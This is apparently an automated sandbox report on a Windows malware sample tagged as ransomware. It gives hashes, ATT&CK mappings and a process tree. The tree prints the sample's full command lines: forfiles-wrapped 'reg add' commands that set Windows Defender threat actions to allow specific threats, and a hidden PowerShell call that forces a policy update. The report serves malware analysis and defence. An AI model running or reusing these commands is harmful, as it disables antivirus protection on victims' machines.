66f61505ec10338855e37b6273ee9cb89031ce02bf86be09b1a1929d70cd1aed

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
01/10/2024, 00:36

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General

Target

2024-10-01_7d0ada41dcddd55aecc3cb0999a744b3_bkransomware_metamorfo.exe
Size

6.7MB
MD5

7d0ada41dcddd55aecc3cb0999a744b3
SHA1

15257a80cbc312b2b8a8adbed2e9d8cba48e530a
SHA256

66f61505ec10338855e37b6273ee9cb89031ce02bf86be09b1a1929d70cd1aed
SHA512

a1b27cdec4740ec84bf465e288f89d60726d2d7280e617d60e2b3122207c10a3e5dde2797be85c290115fc4e12376abff352a8f76aea649e2ac3bfd4cdd6b411
SSDEEP

98304:+T37vqsExujWvg3T+iKCB2pqdBsntt1foHMPgttvBeUv1C5A5AnvWbp7B20Hh2Hl:+/KKgsEJVQvYrAWnH64BYyn

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
832	powershell.exe

Indirect Command Execution 1 TTPs 5 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
2348	forfiles.exe
2408	forfiles.exe
352	forfiles.exe
2152	forfiles.exe
2500	forfiles.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2660	2364	WerFault.exe	30

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-10-01_7d0ada41dcddd55aecc3cb0999a744b3_bkransomware_metamorfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gpupdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
832	powershell.exe
832	powershell.exe
832	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	832	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 2560	2364	2024-10-01_7d0ada41dcddd55aecc3cb0999a744b3_bkransomware_metamorfo.exe	31
PID 2364 wrote to memory of 2560	2364	2024-10-01_7d0ada41dcddd55aecc3cb0999a744b3_bkransomware_metamorfo.exe	31
PID 2364 wrote to memory of 2560	2364	2024-10-01_7d0ada41dcddd55aecc3cb0999a744b3_bkransomware_metamorfo.exe	31
PID 2364 wrote to memory of 2560	2364	2024-10-01_7d0ada41dcddd55aecc3cb0999a744b3_bkransomware_metamorfo.exe	31
PID 2560 wrote to memory of 2348	2560	cmd.exe	33
PID 2560 wrote to memory of 2348	2560	cmd.exe	33
PID 2560 wrote to memory of 2348	2560	cmd.exe	33
PID 2560 wrote to memory of 2348	2560	cmd.exe	33
PID 2348 wrote to memory of 2528	2348	forfiles.exe	34
PID 2348 wrote to memory of 2528	2348	forfiles.exe	34
PID 2348 wrote to memory of 2528	2348	forfiles.exe	34
PID 2348 wrote to memory of 2528	2348	forfiles.exe	34
PID 2528 wrote to memory of 2524	2528	cmd.exe	35
PID 2528 wrote to memory of 2524	2528	cmd.exe	35
PID 2528 wrote to memory of 2524	2528	cmd.exe	35
PID 2528 wrote to memory of 2524	2528	cmd.exe	35
PID 2560 wrote to memory of 2408	2560	cmd.exe	36
PID 2560 wrote to memory of 2408	2560	cmd.exe	36
PID 2560 wrote to memory of 2408	2560	cmd.exe	36
PID 2560 wrote to memory of 2408	2560	cmd.exe	36
PID 2408 wrote to memory of 2016	2408	forfiles.exe	37
PID 2408 wrote to memory of 2016	2408	forfiles.exe	37
PID 2408 wrote to memory of 2016	2408	forfiles.exe	37
PID 2408 wrote to memory of 2016	2408	forfiles.exe	37
PID 2016 wrote to memory of 2592	2016	cmd.exe	38
PID 2016 wrote to memory of 2592	2016	cmd.exe	38
PID 2016 wrote to memory of 2592	2016	cmd.exe	38
PID 2016 wrote to memory of 2592	2016	cmd.exe	38
PID 2560 wrote to memory of 352	2560	cmd.exe	39
PID 2560 wrote to memory of 352	2560	cmd.exe	39
PID 2560 wrote to memory of 352	2560	cmd.exe	39
PID 2560 wrote to memory of 352	2560	cmd.exe	39
PID 352 wrote to memory of 2060	352	forfiles.exe	40
PID 352 wrote to memory of 2060	352	forfiles.exe	40
PID 352 wrote to memory of 2060	352	forfiles.exe	40
PID 352 wrote to memory of 2060	352	forfiles.exe	40
PID 2060 wrote to memory of 2948	2060	cmd.exe	41
PID 2060 wrote to memory of 2948	2060	cmd.exe	41
PID 2060 wrote to memory of 2948	2060	cmd.exe	41
PID 2060 wrote to memory of 2948	2060	cmd.exe	41
PID 2560 wrote to memory of 2152	2560	cmd.exe	42
PID 2560 wrote to memory of 2152	2560	cmd.exe	42
PID 2560 wrote to memory of 2152	2560	cmd.exe	42
PID 2560 wrote to memory of 2152	2560	cmd.exe	42
PID 2152 wrote to memory of 2124	2152	forfiles.exe	43
PID 2152 wrote to memory of 2124	2152	forfiles.exe	43
PID 2152 wrote to memory of 2124	2152	forfiles.exe	43
PID 2152 wrote to memory of 2124	2152	forfiles.exe	43
PID 2124 wrote to memory of 2252	2124	cmd.exe	44
PID 2124 wrote to memory of 2252	2124	cmd.exe	44
PID 2124 wrote to memory of 2252	2124	cmd.exe	44
PID 2124 wrote to memory of 2252	2124	cmd.exe	44
PID 2560 wrote to memory of 2500	2560	cmd.exe	45
PID 2560 wrote to memory of 2500	2560	cmd.exe	45
PID 2560 wrote to memory of 2500	2560	cmd.exe	45
PID 2560 wrote to memory of 2500	2560	cmd.exe	45
PID 2500 wrote to memory of 1868	2500	forfiles.exe	46
PID 2500 wrote to memory of 1868	2500	forfiles.exe	46
PID 2500 wrote to memory of 1868	2500	forfiles.exe	46
PID 2500 wrote to memory of 1868	2500	forfiles.exe	46
PID 1868 wrote to memory of 832	1868	cmd.exe	47
PID 1868 wrote to memory of 832	1868	cmd.exe	47
PID 1868 wrote to memory of 832	1868	cmd.exe	47
PID 1868 wrote to memory of 832	1868	cmd.exe	47

C:\Users\Admin\AppData\Local\Temp\2024-10-01_7d0ada41dcddd55aecc3cb0999a744b3_bkransomware_metamorfo.exe
"C:\Users\Admin\AppData\Local\Temp\2024-10-01_7d0ada41dcddd55aecc3cb0999a744b3_bkransomware_metamorfo.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2348
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2528
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2524
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2408
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2016
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2592
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:352
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2060
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2948
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2152
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2124
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2252
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2500
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1868
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:832
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2644
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2364 -s 272
  2⤵
  - Program crash
  PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2364-0-0x0000000000C30000-0x00000000012E5000-memory.dmp

Filesize
6.7MB

Download
memory/2364-3-0x0000000010000000-0x00000000105DE000-memory.dmp

Filesize
5.9MB

Download
memory/2364-7-0x0000000000C30000-0x00000000012E5000-memory.dmp

Filesize
6.7MB

Download